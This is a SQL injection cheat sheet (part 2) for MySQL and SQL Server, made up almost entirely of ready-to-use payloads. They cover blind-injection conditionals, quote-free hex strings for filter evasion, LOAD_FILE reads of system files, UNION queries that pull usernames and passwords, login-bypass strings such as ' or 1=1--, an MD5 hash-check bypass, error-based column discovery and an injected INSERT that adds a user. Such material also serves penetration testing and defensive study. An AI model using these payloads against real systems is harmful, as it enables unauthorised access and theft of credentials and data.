SQL Injection Cheat Sheet 2

SQL Injection Cheat Sheet :

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

• IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')

SQL Server If Statement

• IF condition true-part ELSE false-part (S)
  IF (1=1) SELECT 'true' ELSE SELECT 'false'

If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

• 0xHEXNUMBER (SM)
  You can  write hex like these;
  
  SELECT CHAR(0x66) (S)
  SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
  SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

• + (S)
  SELECT login + '-' + password FROM members
  
  
• || (*MO)
  SELECT login || '-' || password FROM members

*About MySQL "||";
If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. Better way to do it is using CONCAT() function in MySQL.

• CONCAT(str1, str2, str3, ...) (M)
  Concatenate supplied strings.
  SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it's always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

• 0x457578 (M) - Hex Representation of string
  SELECT 0x457578
  This will be selected as string in MySQL.
  
  In MySQL easy way to generate hex representations of strings use this;
  SELECT CONCAT('0x',HEX('c:\\boot.ini'))
  
  
• Using CONCAT() in MySQL
  SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
  This will return 'KLM'.
  
  
• SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
  This will return 'KLM'.

Hex based SQL Injection Samples

• SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
  This will show the content of c:\boot.ini

String Modification & Related

• ASCII() (SMP)
  Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
  
  SELECT ASCII('a')
  
  
• CHAR() (SM)
  Convert an integer of ASCII.
  
  SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

• SQL Server (S)
  Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.
  
  SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
  
  
• MySQL (M)
  Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

• admin' --
• admin' #
• admin'/*
• ' or 1=1--
• ' or 1=1#
• ' or 1=1/*
• ') or '1'='1--
• ') or ('1'='1--
• ....

• Login as different user (SM*)
  ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

• ' HAVING 1=1 --
• ' GROUP BY table.columnfromerror1 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
• If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

• ORDER BY 1--
• ORDER BY 2--
• ORDER BY N-- so on
• Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

• Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
• To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
• Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
  • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

•  ' union select sum(columntofind) from users-- (S)
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  
  If you are not getting error it means column is numeric.
  
  
• Also you can use CAST() or CONVERT()
  • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
    
    
• 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
  No Error - Syntax is right. MS SQL Server Used. Proceeding.
  
  
• 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
  No Error – First column is an integer.
  
  
• 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
  Error! – Second column is not an integer.
  
  
• 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
  No Error – Second column is a string.
  
  
• 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
  Error! – Third column is not an integer. ...
  
  Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.

You'll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

---

Explore the seven wonders of the world Learn more!